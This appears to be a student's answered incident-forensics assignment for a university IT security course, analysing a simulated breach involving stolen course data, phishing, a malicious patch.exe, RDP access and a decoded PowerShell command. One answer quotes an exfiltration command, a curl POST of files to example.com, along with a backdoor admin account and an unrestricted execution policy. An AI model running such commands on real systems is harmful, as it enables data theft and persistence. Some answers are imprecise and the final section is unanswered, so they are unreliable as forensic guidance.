



**Swinburne University of Technology Hawthorn
Campus
Department of Computing Technologies**

COS30015 IT Security
Assignment 2 - Semester 2, 2025

Part A Incident Forensic Analysis

Student Name: Prajeet Sridhar

Student ID: 105338683

Due Date: AEST 23:59 on 02/11/2025.

Add your answers after the question. For example:

1. What type of incident does this initial appear to be?

Here is my answer to question 1

2. What would be your first recommendations be?

Here is my answer to question 2

A suspicious post

1. What type of incident does this initial appear to be?

The type of incident this initially appears to be is a data exfiltration because in the image it mentions that the COS30015 resources have been stolen, and the resources are for sale.

2. What would be your first recommendations be?

My first recommendations would be containment, eradication, and preserving evidence.

3. What main MITRE ATT&CK tactic is associated with this incident type?

The Main MITRE ATT&CK tactic that is associated with this incident type is exfiltration as the attacker stole COS30015 resources.

4. What resources would you ask to view from COS30015 team?

The resources that I would be asked to view from COS30015 team are to view the students's data, security controls, and access logs. Getting access to these resources will allow me to check if there any unauthorized users, if there is any data being stolen and if I need to make any updates to the system.

5. Which government commissioner might need to be alerted given potential data sensitivities?

The government commissioner that might need to be alerted is the office of the Australian Information Commissioner.

It's a match

1. Would the current information designate an incident?

Yes, the current information would designate an incident because the file hash in the image shows the files advertised on the dark web were stolen from the university.

2. What severity would you potentially assign?

The severity that I would potentially assign to this is P2 because the folder named /teaching/COS0015/2025/Students has been posted on the dark web. This shows that the attacker has access to the students' names, IDS, emails, tests, assignments, and grades.

3. What potential next steps would you recommend?

The potential next steps I would like to recommend before the incident escalates to P1 is to immediately isolate the system that has been corrupted, then call the information security incident response team, and then save all the data to an offline server.

Command history

1. Which user has suspicious commands?

The admin user has suspicious commands. The admin user commands are suspicious because they created a new user called Adminstrat0r to give admin power and they used the Curl -X POST -F file=@... <http://example.com/upload> to upload the important files that they have gathered outside the system.

2. Is it bad the adversary has access to that account?

Yes it is bad that the adversary has access to that account because it has full access to the system meaning they have access to the user's sensitive information, can install malicious software and prevent access to other users.

3. What are the MITRE ATT&CK TTPs associated to these commands

The MITRE ATT&CK TTPs associated to these commands are collection, persistence, privilege escalation, exfiltration and Reconnaissance.

4. Did the adversary seek to create persistence?

Yes, the adversary seeks to create persistence as they created a new local account, set the password, and added privilege groups.

Server Access

1. Complete the missing element (__auth.log__) - What logs could be viewed in a Linux system to confirm authentication
2. **What is the 192.168.100.10 host?**
The 192.168.100.10 host is the web server 1 in the organization's network.
3. **Where is this host located?**
The host is located in the DMZ
4. **Is it secure to allow remote access to the servers from the location above?**
No, it is not secure to allow remote access to the server from the location above.
5. **How might you improve security in this example?**
The security can be improved by limiting security privileges, adding strong passwords and implementing security that blocks any suspicious traffic.
6. **What would we need to do to confirm when these commands were likely ran?**

To confirm when these commands were likely ran, you would need to compare the attacker's login time from the log file with the timestamps on the command history to figure out the time of the attack.

A suspicious email

1. **Does this look like phishing?**
Yes, it looks like phishing
2. **Who is the proper sender of the email? (be careful to defang this domain)**
phish@[.]fakeemail[.]com
3. **What was IP address of this sender? (be careful to defang this IP address)**
183[.]81[.]169[.]238
4. **What is interesting about this IP?**
IT is a fake disposable email address. The email is from Ubuntu.
5. **What stands out as odd about this email?**
What stands out as odd about this email is the Urgent! and asking the admin to manually download the patch pull program.
6. **Where will the adversary patch program(s) be running now?**
The Adversary patch program will be running on the Admin's desktop.

Possible execution

1. Is patch.exe a malicious file?

Yes, the patch.exe is a malicious file.

2. Analysing the patch.exe-12345678.pf file, has agent.exe been executed before?

Yes, patch.exe-12345678 has been executed before.

3. How many times has the file been executed?

The file has been executed 2 times.

4. What does this executable allow an adversary to do?

The executable allows the adversary to run malicious code which can be used to steal sensitive information like user's passwords and other personal details, it can also be used to install malicious software like malware.

More activity(excel)

2. What file was uniquely downloaded which could be a sensitive data leak?

The file that was uniquely downloaded is File'teaching/COS30015/2025/Assignments/secret-information-results-passwords.txt' downloaded.

3. What IP downloaded this file? (be careful to defang this IP address, do not load it in a browser, ping it, etc.)

80[.]67[.]167[.]81

4. What kind of IP is this?

This IP is a TOR Exit Node

5. Who interacted with this file?

The person who interacted with this is the Admin user.

Access

1. It appears the adversary logged into the Web Server using a COS30015 user account. What account was used?

The account that was most likely used was the admin account or a TA account.

2. If the Admin installed the "patch", what has it likely provided the attacker?

If the Admin installed the patch it allows the administrator to control admin privileges remotely.

3. What IP address was used to access the machine (be careful to defang this IP address)

171[.]25[.]193[.]25

4. What is interesting about this IP address?

The IP address is not from the University's intranet instead, it is an external IP that outside of the University.

5. What remote access method was used?

The remote access method that was used is RDP.

Signs of tampering

1. Can you make sense of this command? What is last part decoded?

The last part decoded is Set-ExecutionPolicy unrestricted.

2. What opinion can we now form about this executable?

The opinion we can form about this executable is that it is a malicious executable that reduces the security of PowerShell by allowing any scripts to be run.

3. What does this command do?

It changes the PowerShell command policy to unrestricted, meaning that all scripts can be run without being blocked.

Distinction Only

1. What is the adversary trying to achieve:

The adversary is trying to achieve suspicious behaviour like persistence and data exfiltration through decoding the PowerShell payload.

2. When does this happen:

This malicious action begins immediately after the execution of the script.

HD Only

1. Where is the clue located:

2. What type of entry/file is this in the context of where it is found?:

3. What is ciphertext of the HD plaintext for analysis:

4. What is the hashing algorithm used to has the HD string (hint: Russian):

5. What is clue 1's method for encoding?:

6. What is clue 2's method for encoding?:

7. What is clue 3's method for encoding?:

8. What is clue 4's method for encoding?:

9. What is clue 5's method for encoding?:

10. Plaintext: